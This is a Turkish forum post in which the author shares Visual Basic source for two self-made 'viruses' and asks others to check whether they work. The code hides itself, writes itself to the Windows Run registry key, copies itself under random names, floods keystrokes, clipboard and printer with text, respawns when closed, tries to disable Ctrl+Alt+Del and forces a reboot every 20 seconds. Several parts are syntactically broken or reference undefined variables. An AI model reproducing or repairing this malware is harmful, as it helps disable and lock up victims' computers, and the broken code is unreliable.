arkadaşlar 2 virüs kodladım bunlar benim kodladığım ilk virüsler ustalarım bakıp çalışıp çalışmadığını söylerlerse sevinirim.inşallah çalışıyorlardır
1. virüs ne kopyalarsa kopyalasın hacked yazıyor yazıcısı varsa sürekli hacked çıktısı alıyor ve kalvyaden ne girilirse girilsin hacked yazıyor böylelikle internete filan giremiyor(hacked yazısı klavyeden bir yazı gelmesini beklemez)
2. virüs bu benim daha çok hoşuma gidiyor bilgisayara 20 saniyede bir reset atıyor böylelikle silinemiyor tabii bunun bir yolunu bulursa(programı kapatırsa da kendini tekrar açıyor ve iş garanti olsun diyectrl+alt+del tuşlarını kapatması için koduda ekledim)buyrun kod
her 2 virüsde kendini windows dosyalarına kopyalıyor ve kendini gizliyor hata olduğunda ise hatanın olduğu koddan itibaren çalışmaya devam ediyorum.
ustalarım ilk denemem başarılı olmuşmu yorumlarınızı bekliyorum
1. virüs ne kopyalarsa kopyalasın hacked yazıyor yazıcısı varsa sürekli hacked çıktısı alıyor ve kalvyaden ne girilirse girilsin hacked yazıyor böylelikle internete filan giremiyor(hacked yazısı klavyeden bir yazı gelmesini beklemez)
Kod:
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
App.TaskVisible = False
On Error Resume Next
Me.Hide
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub
Private Sub Timer1_Timer()
Dim asia1, asia2, asia3,
asia1 = Rnd * 100
asia2 = App.Path & "\" & App.EXEName & ".exe"
asia3 = asia1 & ".exe"
FileCopy yol, "c:\" & asia3 & ""
End Sub
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
SendKeys "EnCryPtion", 1
End Sub
Private Sub Form_Load()
Printer.Print "EnCryPtion"
End Sub
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "EnCryPtion"
End Sub2. virüs bu benim daha çok hoşuma gidiyor bilgisayara 20 saniyede bir reset atıyor böylelikle silinemiyor tabii bunun bir yolunu bulursa(programı kapatırsa da kendini tekrar açıyor ve iş garanti olsun diyectrl+alt+del tuşlarını kapatması için koduda ekledim)buyrun kod
Kod:
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
App.TaskVisible = False
On Error Resume Next
Me.Hide
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDIWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
End Sub
Private Sub Form_Terminate()
Shell App.Path + "/" + App.EXEName + ".exe"
End Sub
Private Sub Timer1_Timer()
Dim tr1, tr2, tr3
tr1 = Rnd * 100
tr2 = App.Path & "\" App.EXEName & ".exe"
tr3 = asia1 & ".exe"
FileCopy yol, "c:\" & tr3 & ""
End Sub
Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Sub CtrlAltDeleteKapat(Kapali As Boolean)
Dim X As Long
X = SystemParametersInfo(97, Kapali, CStr(1), 0)
End Sub
Dim Kayit
Shell "shutdown -r -t 20", vbHideher 2 virüsde kendini windows dosyalarına kopyalıyor ve kendini gizliyor hata olduğunda ise hatanın olduğu koddan itibaren çalışmaya devam ediyorum.
ustalarım ilk denemem başarılı olmuşmu yorumlarınızı bekliyorum
